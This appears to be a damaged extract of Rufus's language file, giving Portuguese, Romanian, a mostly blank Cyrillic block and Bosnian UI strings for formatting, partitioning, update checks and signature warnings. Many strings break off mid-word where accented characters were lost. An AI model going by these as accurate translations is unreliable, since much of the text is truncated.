t MSG_224 "Apagando as estruturas MBR/PBR/GPT..."
t MSG_225 "Solicitando acesso ao disco..."
t MSG_226 "Analisando estruturas de arranque existentes..."
t MSG_227 "Fechando o volume existente..."
t MSG_228 "Escrevendo o registro mestre de arranque (Master Boot Record)..."
t MSG_229 "Escrevendo o registro de arranque da parti
t MSG_230 "Copiando arquivos DOS..."
t MSG_231 "Copiando arquivos ISO..."
t MSG_232 "Configura
t MSG_233 "Finalizando, por favor aguarde..."
t MSG_234 "Instalando Syslinux %d..."
t MSG_235 "Blocos com erro: %s %d/%d - %0.2f%% (%d/%d/%d erros)"
t MSG_236 "Blocos com erro: Verificando com teste padr
t MSG_237 "Blocos com erro: Verificando com teste padr
o 0xX"
t MSG_238 "Criar parti
es (%s)..."
t MSG_239 "Apagar parti
t MSG_240 "Baixando %s: Conectando..."
t MSG_241 "Baixando: %0.1f%%"
t MSG_242 "Erro ao baixar arquivo."
t MSG_243 "Procurando atualiza
t MSG_244 "Atualiza
t MSG_245 "Atualiza
t MSG_246 "Existe uma nova vers
t MSG_247 "N
t MSG_248 "Foram apagadas as chaves de registro da aplica
t MSG_249 "Falha ao apagar as chaves de registro da aplica
t MSG_250 "%s ativado"
t MSG_251 "%s desativado"
t MSG_252 "Verifica
t MSG_253 "Detec
t MSG_254 "For
t MSG_255 "Apagar NoDriveTypeAutorun ao sair"
t MSG_256 "Simula
t MSG_257 "Suporte para Joliet"
t MSG_258 "Suporte para Rock Ridge"
t MSG_260 "Compress
t MSG_261 "Escrevendo imagem: %0.1f%% conclu
t MSG_262 "ISO Suportado"
t MSG_263 "Use unidades de tamanho APROPRIADO"
t MSG_264 "Deletando diret
rio '%s'"
t MSG_265 "Detectando disco VMWare"
t MSG_266 "Modo UEFI/BIOS conjuntos"
t MSG_267 "Aplicando imagem do Windows: %0.1f%% completo"
t MSG_268 "Aplicando imagem do Windows"
t MSG_269 "Preservar marcas de tempo"
t MSG_270 "Debugar USB"
t MSG_271 "Calculando o checksum das imagens: %0.1f%% conclu
t MSG_272 "Calcular os checksums MD5, SHA1 e SHA256 da imagem selecionada"
t MSG_273 "Mudar o idioma do aplicativo"
t MSG_274 "Imagem ISOHybrid detectada"
t MSG_275 "A imagem que voc
"modo %s (c
pia de arquivo) ou modo %s (imagem de disco).\n"
"Rufus recomenda usar o modo %s , para que voc
pode tentar gravar novamente pelo modo %s.\n\n"
t MSG_276 "Gravar no modo %s (Recomendado)"
t MSG_277 "Gravar no modo %s"
t MSG_278 "Tipo de Boot"
t MSG_279 "N
t MSG_280 "Sele
t MSG_281 "(Por favor selecione uma imagem)"
t MSG_282 "Trava exclusiva do drive USB"
t MSG_283 "Assinatura digital inv
t MSG_284 "O execut
t MSG_285 "O execut
assinado por '%s'.\nEsta assinatura n
tem certeza que deseja executar este arquivo?"
l "pt-PT" "Portuguese Standard (Portugu
o Standard em Windows"
t IDC_WEBSITE "Clique aqui para aceder ao Site de Rufus"
t MSG_001 "Foi detetada outra aplica
"Para continuar, prima OK. Para sair da opera
" %d erros de leitura\n %d erros de escrita\n %d erros de corrompimento\n"
t MSG_018 "A tua vers
t MSG_039 "Iniciar"
t MSG_040 "Transferir"
t MSG_044 "Transfer
t MSG_048 "Rufus - A limpar buffers"
t MSG_049 "Rufus - Cancelar"
t MSG_053 "N
t MSG_057 "Nome do volume n
t MSG_058 "O identificador do dispositivo n
t MSG_065 "Erro de escrita"
t MSG_068 "Erro ao criar a parti
t MSG_069 "Erro ao copiar ficheiros para o dispositivo de destino."
t MSG_070 "Cancelado pelo utilizador."
t MSG_080 "Rufus detetou que o Windows ainda est
"especialmente para ficheiros grandes.\n\nRecomendamos que deixe o Windows terminar para evitar corrompimentos; "
t MSG_081 "Tipo de imagem n
o obsoleta do ficheiro '%s'.\n"
"o ficheiro\n '%s' j
t MSG_085 "A transferir %s"
t MSG_086 "Nenhuma imagem selecionada"
t MSG_088 "Imagem demasiado grande"
t MSG_089 "A imagem
t MSG_091 "Quando usa UEFI como tipo de destino, s
o suportadas imagens ISO inicializ
t MSG_092 "Sistema de ficheiros n
t MSG_093 "IMPORTANTE: ESTA DRIVE CONT
veis a partir do Windows. "
t MSG_094 "V
t MSG_096 "O sistema de ficheiros selecionado n
t MSG_097 "'%s' apenas pode ser aplicado se o sistema de ficheiros for NTFS."
t MSG_098 "IMPORTANTE: Est
a tentar instalar 'Windows To Go', mas a drive de destino n
"tem o atributos 'FIXO'. Por isso o Windows provalvelmente ir
t MSG_099 "Limita
t MSG_100 "Esta imagem ISO cont
m um ficheiro com mais de 4GB, ultrapassando o tamanho m
t MSG_101 "O suporte para ficheiro WIM n
t MSG_102 "N
t MSG_103 "Transferir %s?"
t MSG_104 "%s ou posterior requer que esteja instalado o ficheiro '%s' .\n"
t MSG_107 "Todos os ficheiros"
t MSG_114 "Esta imagem usa Syslinux %s%s mas a aplica
"Syslinux %s%s.\n\nComo as diferentes vers
"Internet ('ldlinux.sys' e 'ldlinux.bss'):\n"t MSG_115 "Transfer
t MSG_116 "Esta imagem usa Grub %s mas a aplica
"Grub %s.\n\nAs diferentes vers
o ('core.img') que coincida com o da imagem:\n""- Selecione 'Cancelar' para abortat a opera
"um sistema operativo no modo EFI, deve selecionar uma das outras op
o se quiser instalar um sistema operativo no modo EFI, mas necessita de aceder "
do do USB com o Windows XP"
t MSG_153 "Padr
o de teste: 0xX"
t MSG_154 "Padr
o de teste: 0xX, 0xX"
t MSG_155 "Padr
o de teste: 0xX, 0xX, 0xX"
t MSG_156 "Padr
o de teste: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Selecionar o sistema de ficheiros destino"
t MSG_160 "Mostrar op
t MSG_165 "Selecionar uma imagem ..."
cone para a unidade (cria um ficheiro autorun.inf)"
t MSG_167 "Instalar um MBR que permita selecionar o dispositivo de arranque e pode mascarar "
t MSG_168 "Tentar mascarar o primeiro dispositivo USB de arranque (normalmente 0x80) como um disco diferente.\n"
rio se instalar Windows XP e tenha mais do que um disco duro"
t MSG_170 "Ativa a dete
gidos port
t MSG_171 "Iniciar a opera
t MSG_176 "Tradu
o para Portugu
t MSG_177 "Para reportar bugs ou sugerir melhorias, visite:"
t MSG_178 "Direitos de autor adicionais:"
t MSG_180 "Autoriza que este programa procure e instale automaticamente as"
o do seu sistema operativo"
t MSG_183 "O seu endere
t MSG_190 "Detetada unidade incompat
t MSG_191 "Escrita"
t MSG_192 "Leitura""
t MSG_193 "Transferido %s"
vel transferir %s"
t MSG_195 "A usar a vers
o incorporada do(s) ficheiro(s) %s"
t MSG_196 "IMPORTANTE: ESTA DRIVE USA UM TAMANHO DE SECTOR N
"As drives convencionais usam o tamanho de sector de 512-byte mas a drive usa %d-byte. "
t MSG_197 "Detetado tamanho de sector n
t MSG_198 "'Windows To Go' apenas pode ser instalado numa drive com parti
t MSG_199 "Escolha esta op
o se pretender instalar o Windows, para outro disco, utilizando o dispositivo selecionado como disco de instala
t MSG_200 "Escolha esta op
o se deseja executar o Windows directamente a partir do dispositivo selecionado."
t MSG_201 "A cancelar - por favor aguarde..."
t MSG_202 "A analisar a imagem ..."
t MSG_203 "Falha ao analisar a imagem"
t MSG_204 "Foi detectado um ficheiro %s obsoleto"
t MSG_205 "A usar a imagem: %s"
t MSG_206 "Falta o ficheiro %s"
t MSG_207 "Novo volume"
t MSG_213 "A iniciar a nova aplica
t MSG_214 "Erro ao iniciar a nova aplica
t MSG_217 "A formatar: %0.1f%% completo"
t MSG_218 "A criar sistema de ficheiros: Tarefa %d/%d completa"
t MSG_220 "A formatar (%s) - dura
t MSG_221 "A atribuir a etiqueta do volume (pode demorar)..."
t MSG_222 "A formatar (%s)..."
t MSG_224 "A limpar as estruturas MBR/PBR/GPT..."
t MSG_225 "A solicitar acesso ao disco..."
t MSG_226 "A analisar registos de arranque existentes..."
t MSG_227 "A fechar o volume existente..."
t MSG_228 "A escrever o registo mestre de arranque (Master Boot Record)..."
t MSG_229 "A escrever o registo de arranque da parti
t MSG_230 "A copiar ficheiros DOS..."
t MSG_231 "A copiar ficheiros ISO..."
t MSG_233 "A finalizar, por favor aguarde..."
t MSG_234 "A instalar Syslinux %s..."
t MSG_235 "Blocos com erros: %s %d/%d - %0.2f%% (%d/%d/%d erros)"
t MSG_236 "Blocos com erro: A verificar com padr
t MSG_237 "Blocos com erro: A verificar com padr
t MSG_238 "A criar parti
t MSG_239 "A apagar parti
t MSG_240 "Transferir %s: A ligar..."
t MSG_241 "Transfer
t MSG_242 "Erro ao transferir o ficheiro."
t MSG_243 "Procurar atualiza
t MSG_248 "Foram eliminadas as chaves de registo da aplica
t MSG_249 "Falha ao apagar as chaves de registo da aplica
t MSG_253 "Dete
t MSG_261 "A criar imagem: %0.1f%% completo"
t MSG_262 "Suporte ISO"
t MSG_263 "Use unidade de tamanho APROPRIADA"
t MSG_264 "A eliminar pasta '%s'"
t MSG_265 "A detetar disco VMWare"
t MSG_266 "Dual modo UEFI/BIOS"
t MSG_267 "A aplicar imagem Windows: %0.1f%% completo"
t MSG_268 "Aplicar imagem Windows..."
t MSG_269 "Manter data dos ficheiros"
t MSG_270 "Depura
t MSG_271 "C
t MSG_272 "Calcular MD5, SHA1 e SHA256 para a imagem selecionada"
t MSG_273 "Alterar o idioma da aplica
t MSG_274 "Imagem ISOHybrid detetada"
t MSG_275 "A imagem selecionada
"%s (c
pia de ficheiros) ou no modo %s (c
"Rufus recomenda o modo %s, para que tenha sempre acesso total ao disco ap
"No entanto, se existirem erros durante o arranque, pode tentar escrever no modo %s.\n\n"
t MSG_276 "Escrever no modo %s (Recomendado)"
t MSG_277 "Escrever no modo %s
t MSG_278 "Tipo de arranque"
t MSG_281 "(Selecione a imagem)"
t MSG_282 "Bloqueio exclusivo do dispositivo USB"
t MSG_283 "Assinatura inv
t MSG_284 "No execut
assinado por '%s'.\nN
indicar algum tipo de actividade mal intencionada...\nTem certeza de que deseja executar este ficheiro?"
t IDC_WINDOWS_INSTALL "Instalare standard pentru Windows"
t IDC_WINDOWS_TO_GO "Windows To Go (Pornire Windows)"
t IDC_WEBSITE " Click aici pentru a vizita site-ul web"
t MSG_001 "Un alt exemplu detectat Rufus"
t MSG_002 "Ruleaz
t MSG_003 "AVERTISMENT: TOATE DATELE DE PE DISPOZITIVUL '%s' VOR FI
opera
t MSG_004 "Politica de actualizare Rufus"
t MSG_005 "Permite
t MSG_007 "Anuleaz
t MSG_009 "Nu"
t MSG_010 "Bloc defect Detectat"
t MSG_011 "Verificare complet
sit %d blocuri defecte\n"
" %d erori de citire\n %d erori de scriere\n %d erori de corupere\n"
t MSG_012 "%s\n Un raport mai detaliat este disponibil
n:\n%s"
t MSG_013 "Dezactivat"
t MSG_014 "Zilnic"
t MSG_015 "S
t MSG_016 "Lunar"
t MSG_017 "Personalizat"
t MSG_018 "Versiunea instalat
t MSG_019 "Ultima versiune: %d.%d (Build %d)"
t MSG_020 "octe
t MSG_021 "KO"
t MSG_022 "MO"
t MSG_023 "GO"
t MSG_024 "TO"
t MSG_025 "PO"
t MSG_026 "octe
t MSG_027 "kilo-octe
t MSG_028 "megaocte
t MSG_031 "Schema de parti
ie %s cu BIOS sau %s"
t MSG_032 "Schema de parti
ie %s cu BIOS"
t MSG_033 "Schema de parti
ie %s cu UEFI"
t MSG_034 "%d pas"
t MSG_035 "%d pa
t MSG_036 "Imagine ISO"
t MSG_037 "Cerere"
t MSG_038 "Anuleaz
t MSG_039 "Execut
t MSG_040 "Desc
t MSG_042 "Eroare"
t MSG_043 "Eroare: %s"
t MSG_044 "Desc
t MSG_045 "Unitate de stocare USB (generic)"
t MSG_046 "%s (disc %d) [%s]"
t MSG_047 "Volume multiple"
t MSG_049 "Rufus - Anulare"
t MSG_050 "Finisat."
t MSG_051 "A ap
t MSG_052 "Imposibilitatea de a utiliza sistemul de fi
t MSG_053 "Acces respins unitate."
t MSG_054 "Dispozitivul este ap
t MSG_055 "Dispozitivul este folosit
t MSG_056 "Formatarea rapid
t MSG_057 "Eticheta de volum nu este valabil
t MSG_058 "Dispozitivul este invalid."
t MSG_059 "Dimensiunea selectat
t MSG_060 "Dimensiune de volum invalid
t MSG_061 "Introduce
t MSG_062 "Comanda primit
nu este suportat
t MSG_063 "Eroare de alocare memorie."
t MSG_064 "Eroare de citire."
t MSG_065 "Eroare de scriere."
t MSG_066 "Instalarea nu a reu
t MSG_067 "Imposibilitatea de a deschide dispozitivul. Posibil e utilizat de un alt proces."
t MSG_068 "Eroare
t MSG_069 "Imposibil de a copia fi
t MSG_070 "Anulat de c
t MSG_071 "Imposibil de formatat."
t MSG_072 "Blocurile de control incorect completate."
t MSG_073 "Analiza imaginii ISO a e
t MSG_074 "Extragerea imaginii ISO a e
t MSG_075 "Imposibilitatea de a monta dispozitivul."
t MSG_076 "Imposibil de a seta fi
t MSG_077 "Nu se poate atribui o liter
t MSG_078 "Imposibilitatea de a monta un volum GUID."
t MSG_079 "Dispozitivul nu este gata."
t MSG_080 "Rufus a detectat c
Windows-ul nu a terminat de scris datele din buffer pe dispozitivul USB.\n\n"
i Windows-ul s
t MSG_081 "Imaginea nu este acceptat
t MSG_082 "Aceast
de boot sau de compresie nesuportat
nlocuire %s?"
t MSG_084 "Acest lucru arat
a '%s'.\n"
rcat '%s', va fi reutilizat automat."
t MSG_085 "Desc
rcare %s"
t MSG_086 "Nici o imagine selectat
t MSG_087 "Face
t MSG_088 "Imagine prea mare"
t MSG_089 "Aceast
t MSG_090 "Formatul ISO nu este acceptat"
t MSG_091 "C
t MSG_092 "Sistem de fi
t MSG_093 "IMPORTANT: Aceast
"Aceasta poate include paravane/volume care nu sunt listate sau chiar vizibile de la Windows. "
t MSG_094 "Mai multe parti
t MSG_095 "Imagine DD"
t MSG_096 "Sistemul de fi
t MSG_097 "'%s' poate fi aplicat
t MSG_098 "IMPORTANT:
i 'Windows To Go', dar unitatea aleas
"Din aceasta cauza Windows-ul cel mai probabil nu va func
t MSG_099 "Limitarea sistemului de fi
t MSG_100 "Aceast
t MSG_101 "Suport WIN lips
t MSG_102 "Sistemul de operare nu poate extrage fi
"este necesar pentru a crea un dispozitiv USB boot-abil UEFI Windows 7
i Windows Vista. Pute
t MSG_103 "Desc
rcare %s?"
t MSG_104 "%s sau mai mare, necesit
ier'%s'.\n"
n imaginea ISO %s, "
"'%s' a fost desc
t MSG_105 "Eliminarea ar l
t MSG_106 "Selecta
t MSG_107 "Toate fi
t MSG_108 "Registrul
t MSG_109 "0xX (discul %d)"
t MSG_110 "MS-DOS nu poate fi pornit de pe o unitate care are dimensiunea clusterului de 64 de kiloocte
t MSG_111 "Dimensiune cluster incompatibil
t MSG_112 "Formatarea volumului mare UDF, poate dura ceva timp. Viteza format
"durata este %d:d,
t MSG_113 "Volumul UDF mare"
t MSG_114 "Aceast
te Syslinux %s%s, dar aceast
"Syslinux %s%s.\n\nNoile versiuni ale syslinux, nu sunt compatibile cu altele,
"Internet ('ldlinux.sys'i 'ldlinux.bss'):\n"
i 'Nu' pentru a anula opera
t MSG_115 "Desc
t MSG_116 "Aceast
te Grub %s dar cererea include doar fi
"Grub %s.\n\n Versiuni diferite ale Grub pot s
ierul de instalare ('core.img'), care se potrivei 'Anulare' pentru a abandona opera
t MSG_150 "Aceast
"un sistem de operare pentru EFI, pute
t MSG_151 "Utiliza
i un sistem de operare pentru EFI, dar ave
n Windows XP"
t MSG_152 "Op
de a instala un sistem de operare astfel
t MSG_153 "Model de test: 0xX"
t MSG_154 "Model de test: 0xX, 0xX"
t MSG_155 "Model de test: 0xX, 0xX, 0xX"
t MSG_156 "Model de test: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Setarea destina
t MSG_158 "Dimensiunea minim
t MSG_159 "Utiliza
t MSG_160 "Activeaz
t MSG_161 "Activa
t MSG_162 "Debifa
t MSG_163 "Activa
t MSG_164 "Define
t MSG_165 "Selecta
t MSG_166 "Activa
ier autorun.inf)"
t MSG_167 "Instala
i instalat Windows XP
t MSG_169 "Crea
t MSG_170 "Activa
ncepe opera
t MSG_173 "Face
t MSG_174 "Rufus - Dispozitive USB de formatare"
t MSG_175 "Versiune %d.%d (build %d)"
t MSG_176 "Traducere
rlea Alexandru <girlea_alex@yahoo.com>"
t MSG_177 "Raporta
t MSG_178 "Drepturi suplimentare:"
t MSG_179 "Politica de actualizare:"
t MSG_180 "Dac
t MSG_181 "Arhitectura
i versiunea sistemului de operare"
t MSG_182 "Versiunea aplica
t MSG_183 "Adresa dvs de IP"
t MSG_184 "Putem p
t MSG_185 "Actualizare proces:"
t MSG_186 "Rufus nu instaleaz
t MSG_187 "Imagine nevalid
t MSG_188 "Actuala imagine nu se potrive
t MSG_189 "Aceast
t MSG_190 "Unitatea detectat
t MSG_191 "Trecere scriere"
t MSG_192 "Trecere citire"
t MSG_193 "Desc
rcat %s"
t MSG_194 "Nu a putut fi descarcat %s"
t MSG_195 "Folosi
de %s fi
t MSG_196 "IMPORTANT: Aceast
te %d octe
t MSG_197 "M
t MSG_198 "'Windows To Go' poate fi instalat doar pe unitatea cu parti
t MSG_199 "Alege
i Windows, la un alt disc, folosind dispozitivul selectat ca suport de instalare."
t MSG_200 "Alege
iune, pentru a executa Windows direct din dispozitivul selectat."
t MSG_201 "Anulare..."
t MSG_202 "Analiza imaginii..."
t MSG_203 "Analiza e
t MSG_204 "Detectat %s
t MSG_205 "Utilizare imagine: %s"
t MSG_206 "Fi
ier %s disp
t MSG_207 "Volumul nou"
t MSG_208 "%d dispozitiv detectat"
t MSG_209 "%d dispozitive detectate"
t MSG_210 "FINALIZAT"
t MSG_211 "Anulat"
t MSG_212 "Opera
t MSG_213 "Executarea unei noi aplica
t MSG_214 "Executarea unei noi aplica
t MSG_215 "Deschide %s"
t MSG_216 "Salvate %s"
t MSG_217 "Formatarea: %0.1f%% terminat
t MSG_218 "Crearea sistemului de fi
iere: activitate %d/%d terminat
t MSG_219 "Fixare NTFS: %d%% terminat
t MSG_220 "Formatarea (%s) - durata estimat
t MSG_221 "Setarea etichetei (poate dura ceva timp)..."
t MSG_222 "Formatare (%s)..."
t MSG_223 "Fixare NTFS (verificare disc)..."
t MSG_224 "Resetarea structurii MBR/PBR/GPT..."
t MSG_225 "Solicit
t MSG_226 "Pornire analiza datelor..."
t MSG_227 "Se
t MSG_228 "Se scrie master boot record..."
t MSG_229 "Se scrie parti
t MSG_230 "Se copiaz
t MSG_231 "Se copiaz
t MSG_232 "Setarea UEFI de boot Windows 7 (poate dura ceva timp)..."
t MSG_233 "Se finalizeaz
t MSG_234 "Se instaleaz
t MSG_235 "Blocuri defecte: %s %d/%d - %0.2f%% (erori %d/%d/%d)"
t MSG_236 "Blocuri defecte: testarea cu modele aleatoare"
t MSG_237 "Blocuri defecte: testarea cu model 0xX"
t MSG_238 "Parti
ionare (%s)..."
t MSG_239 "Eliminare parti
t MSG_240 "Desc
rcare de %s: conexiune..."
t MSG_241 "Desc
t MSG_242 "Imposibilitatea de a desc
t MSG_243 "Verificare actualiz
t MSG_244 "Actualizare: Nu se poate conecta la internet"
t MSG_245 "Actualizare: Imposibil pentru a accesa informa
t MSG_246 "Este o nou
t MSG_247 "Versiunea instalat
t MSG_248 "Registrul de aplica
t MSG_249 "Imposibilitatea de a
t MSG_250 "Activat %s"
t MSG_251 "Dezactivat %s"
t MSG_252 "Dimensiunea de control"
t MSG_253 "Detectare hard disk-uri"
t MSG_254 "Formatare extins
t MSG_255 "Vor fi eliminate NoDriveTypeAutoRun ie
t MSG_256 "Unit
t MSG_257 "Suport Joliet"
t MSG_258 "Suport Rock Ridge"
t MSG_259 "Actualizare for
t MSG_260 "Compresie NTFS"
t MSG_261 "Se scriere imaginea: %0.1f%% terminat"
t MSG_262 "Suport ISO (Dac
t MSG_263 "Utilizarea dimensiunii corecte pentru unit
tergerea directorului '%s'"
t MSG_265 "Detectare disc VMWare"
t MSG_266 "Mod dual UEFI/BIOS"
t MSG_267 "Aplicarea imaginii Windows: %0.1f%% finalizat"
t MSG_268 "Aplicarea imaginii Windows..."
t MSG_269 "P
t MSG_270 "Depanare USB"
t MSG_271 "Calcularea sumelor de control: %0.1f%% complet"
t MSG_272 "Calcularea sumelor de control MD5, SHA1
t MSG_273 "Schimb
t MSG_274 "Imagine detectat
t MSG_275 "Imaginea selectat
"modul (copiere dosar) %s sau in modul (imagine de disc) %s.\n"
modul %s, astfel
n modul %s.\n\n"
t MSG_276 "Scriere in modul %s (Recomandat)"
t MSG_277 "Scriere in modul %s"
t MSG_278 "Tipul de boot-are"
t MSG_279 "Imagine nebootabil
t MSG_280 "Selectare imagine"
t MSG_282 "Exclusiv blocare USB"
t MSG_283 "Semn
t MSG_284 "Executabilul desc
t MSG_285 "Executabilul desc
tre '%s'.\nAceasta nu este o semn
t IDC_WEBSITE "
t MSG_021 "
t MSG_022 "
t MSG_023 "
t MSG_024 "
t MSG_025 "
t MSG_036 "ISO-
'%s' -
Windows."
t MSG_095 "DD-
Windows Vista."
%s ISO-
"'%s',
t MSG_113 "Large UDF-
Syslinux %s%s,
('ldlinux.sys' and 'ldlinux.bss')Grub %s,
Grub %s.\n\n
Grub ('core.img'),Windows XP.\n"
<mailto:tchack@rambler.ru>"
: %d"
: %d/%d
Fixup: %d%%
t MSG_260 "NTFS-
Windows-
s IDC_NBPASSES -55,0
m IDC_NBPASSES 55,0
t IDC_WINDOWS_INSTALL "Standardna instalacija Windows-a"
t IDC_WEBSITE "Klikni ovdje za pristup web-stranici"
t MSG_001 "Jo
t MSG_002 "Postoji ve
t MSG_003 "UPOZORENJE: SVI PODACI NA OVOM URE
AJU '%s'
t MSG_004 "Polisa a
t MSG_005 "Dozvolite Rufus-u da automatski tra
t MSG_011 "Provjera zavr
ena: %d nespravnih blokova prona
aka pisanja\n %d korupcija\n"
t MSG_012 "%s\nDetaljan izvje
taj se nalazi u:\n%s"
t MSG_015 "Sedmi
a verzija: %d.%d (Izvr
na verzija %d)"
t MSG_019 "Zadnja verzija: %d.%d (Izvr
t MSG_020 "bajti"
t MSG_026 "bajti"
t MSG_027 "kilobajti"
t MSG_028 "megabajti"
t MSG_029 "Uobi
t MSG_030 "%s (Uobi
t MSG_031 "%s particijska
ema za BIOS ili %s"
t MSG_032 "%s particijska
t MSG_033 "%s particijska
t MSG_034 "%d sekvenca"
t MSG_035 "%d sekvence"
t MSG_036 "ISO datoteke"
t MSG_041 "Operaciju prekinuo korisnik"
t MSG_048 "Rufus - Ispiranje bafera"
t MSG_052 "Ne mo
t MSG_056 "Brzo formatiranje nije nedostupno za ovaj ure
t MSG_057 "Oznaka volumena je neispravna."
t MSG_058 "Identifikator ure
t MSG_060 "Veli
t MSG_061 "Umetnite prenosni ure
t MSG_062 "Primljena je nepodr
t MSG_067 "Nije mogu
t MSG_069 "Datoteke se ne mogu kopirati na odabrani ure
t MSG_071 "Nije mogu
t MSG_072 "Provjera neispravnih blokova nije zavr
t MSG_073 "Neuspjelo skeniranje ISO datoteke."
t MSG_074 "Neuspjelo raspakivanje ISO datoteke."
t MSG_075 "Nije mogu
t MSG_076 "Nije mogu
t MSG_077 "Nije mogu
t MSG_078 "Nije mogu
aja, ova operacija mo
ujemo da dozvolite Windows-u da zavr
t MSG_084 "Ova ISO datoteka koristi zastarjelu verziju '%s'.\n"
"datoteka '%s' postoji tamo, automatski
t MSG_086 "Nije odabrana datoteka"
t MSG_087 "Pritisnite na dugme sa diskom za odabir datoteke za podizanje sistema, "
t MSG_088 "Datoteka je prevelika"
t MSG_089 "Datoteka je prevelika za odabrani ure
t MSG_091 "Kada koristite UEFI tip, samo EFI datoteke za podizanje sistema su podr
uje particije/ koje nisu vidljive u Windows-u. "
t MSG_094 "Prona
t MSG_095 "DD datoteka"
t MSG_096 "Trenutno odabrani sistem datoteka se ne mo
t MSG_097 "'%s' se mo
"ojer Microsoft nije dizajnirao Windows To Go za ure
t MSG_100 "Ova ISO datoteka sadr
"je potrebno za izradu EFI Windows 7 i Windows Vista USB ure
a od 100 KB, i uvijek prisutna na %s ISO datotekama, "
t MSG_105 "Otkazivanje mo
t MSG_106 "Molimo odaberite folder"
t MSG_110 "MS-DOS se ne mo
t MSG_112 "Formatiranje velikih UDF volumena mo
"formatiranja je %d:d, tokom kojeg
t MSG_113 "Veliki UDF volumen"
t MSG_114 "Ova datoteka koristi Syslinux %s%s ali ova aplikacija uklju
"Internet-a ('ldlinux.sys' and 'ldlinux.bss'):\n""- Odaberite 'Ne' da odustanete od ove operacije\n\n"
"datoteke '%s' postoje tamo, automatski
t MSG_116 "Ova slika koristi Grub %s ali aplikacija sadr
"Grub %s.\n\nKako razli
"Grub-a ('core.img') koja odgovara onoj iz vai' kako biste prekinuli operaciju\n\n"
"operativni sistem u prirodnom EFI re
t MSG_151 "Odaberite ovo ukoliko
aju iz Windows XP-a"
t MSG_152 "Po
eljna opcija da instalirate operativni sistem u EFI re
aju sa Windows XP-a"
t MSG_157 "Postavi sistem datoteka"
t MSG_158 "Minimalna veli
t MSG_159 "Ovdje unesite naziv za jedinicu diska\nInternacionalni karakteri su prihvatljivi"
t MSG_160 "Prika
t MSG_161 "Provjeri prisutnost neispravnih blokova pomo
t MSG_162 "Odzna
t MSG_164 "Metoda za izradu ure
t MSG_165 "Kliknite za odabir datoteke..."
uje autorun.inf)"
t MSG_168 "Maskiraj prvi USB ure
t MSG_169 "Izradi dodatnu skrivenu particiju i poku
t MSG_170 "Pronalazak USB hard diskova. Koristiti na vlastitu odgovornost!"
t MSG_172 "Informacije o licenciranju i zaslugama"
t MSG_173 "Kliknite za odabir..."
t MSG_175 "Verzija %d.%d (Izvr
t MSG_176 "Preveo: Ivan Strugar <mailto:isdjuka@gmail.com>"
t MSG_179 "Polisa a
t MSG_180 "Ukoliko dozvolite ovom programu provjeru a
t MSG_181 "Arhitektura i verzija va
eg operativnog sistema"
t MSG_182 "Verzija aplikacije koju koristite"
t MSG_184 "U svrhu izrade privatne statistike kori
t MSG_186 "Rufus nema pozadinskih procesa, tako da se provjere a
t MSG_187 "Neispravna datoteka za odabranu opciju podizanja sistema"
t MSG_188 "Trenutna datoteka se ne podudara s odabranim opcijama za podizanje sistema. Odaberite drugu datoteku ili drugu opciju za podizanje sitema."
t MSG_189 "Ova ISO datoteka nije kompatibilna sa odabranim sistemom datoteka."
t MSG_191 "Sekvenca pisanja"
t MSG_192 "Sekvenca
t MSG_194 "Nije mogu
e preuzeti %s"
ene verzije %s datoteke/datoteka"
ine %d bajti. "
t MSG_197 "Prona
t MSG_199 "Odaberite ovu opcije ukoliko planirate da instalirate Windows na drugi disk koriste
t MSG_200 "Odaberite ovu opcije ukoliko
elite pokretati Windows direktno sa odabranog ure
t MSG_201 "Otkazivanje - Molimo Vas sa
t MSG_202 "Skeniranje slike u toku..."
t MSG_203 "Neuspjeh pri skeniranju slike"
t MSG_204 "Prona
en zastario %s "
t MSG_205 "Koristi se slika: %s"
t MSG_206 "Nedostaje %s datoteka"
t MSG_207 "Novi volumen"
t MSG_210 "SPREMNO"
t MSG_214 "Pokretanje nove aplikacije nije uspjelo"
t MSG_216 "Sa
uvano %s"
t MSG_218 "Izrada sistema datoteka: Zadatak %d/%d zavr
t MSG_219 "NTFS krpljenje: %d%% zavr
t MSG_220 "Formatiranje (%s) - Procijenjeno trajanje %d:d..."
t MSG_221 "Postavljanje oznake (Ovo mo
t MSG_222 "Formatiranje (%s)..."
t MSG_223 "NTFS krpljenje (Checkdisk)..."
t MSG_225 "Zahtijevanje pristupa disku..."
t MSG_226 "Analiziranje postoje
t MSG_227 "Zatvaranje postoje
t MSG_228 "Pisanje glavne evidencije za podizanje sistema..."
t MSG_229 "Pisanje particijske evidencije za podizanje sistema..."
t MSG_230 "Kopiranje DOS datoteka..."
t MSG_231 "Kopiranje ISO datoteka..."
t MSG_232 "Postavljanje Win7 EFI postavki za podizanje sistema (ovo mo
t MSG_233 "Dovr
t MSG_234 "Instaliranje Syslinux %s..."
t MSG_235 "Neispravni blokovi: %s %d/%d - %0.2f%% (%d/%d/%d gre
t MSG_236 "Neispravni blokovi: Testiranje sa nasumi
t MSG_237 "Neispravni blokovi: Testiranje sa uzorkom 0xX"
t MSG_238 "Particionisanje (%s)..."
t MSG_239 "Brisanje particija..."
t MSG_240 "Preuzimanje %s: Povezivanje..."
t MSG_241 "Preuzimanje: %0.1f%%"
t MSG_242 "Neuspjelo preuzimanje datoteka."
t MSG_243 "Provjera a
t MSG_246 "Dostupna nova verzija Rufus-a!"
t MSG_247 "Nema novih verzija Rufus-a"
t MSG_249 "Brisanje klju
t MSG_252 "Provjerivanje veli
t MSG_253 "Otkrivanje
t MSG_254 "Prisilno veliko FAT32 formatiranje"
t MSG_256 "Otkrivanje la
t MSG_259 "Prisilno a
t MSG_260 "NTFS komprimovanje"
t MSG_261 "Pisanje slike: %0.1f%% zavr
t MSG_263 "Kori
t MSG_264 "Brisanje direktorijuma '%s'"
t MSG_265 "Pronala
t MSG_266 "Dvostruki UEFI/BIOS re
t MSG_267 "Primjenjivanje Windows datoteke: %0.1f%% zavr
t MSG_268 "Primjenjivanje Windows datoteke..."
t MSG_270 "USB uklanjanje gre
t MSG_272 "Ra
t MSG_273 "Promjena aplikacijskog jezika"
t MSG_274 "Prona
t MSG_275 "Datoteka koju ste odabrali je 'ISOHybrid' datoteka. Takva datoteka mo
"%s (kopiranje) ili %s (disk datoteka).\n"
uje metodu %s, tako da uvjek imate neograni
ete na probleme pri podizanju sistema, isprobajte metodu %s.\n\n"
t MSG_278 "Tip podizanja sistema"
t MSG_279 "Nije za podizane sistema"
t MSG_281 "(Molimo Vas odaberite datoteku)"
t MSG_283 "Neispravan potpis"
t MSG_284 "Nedostaje digitalni potpis u izvr
t MSG_285 "Preuzeta izvr
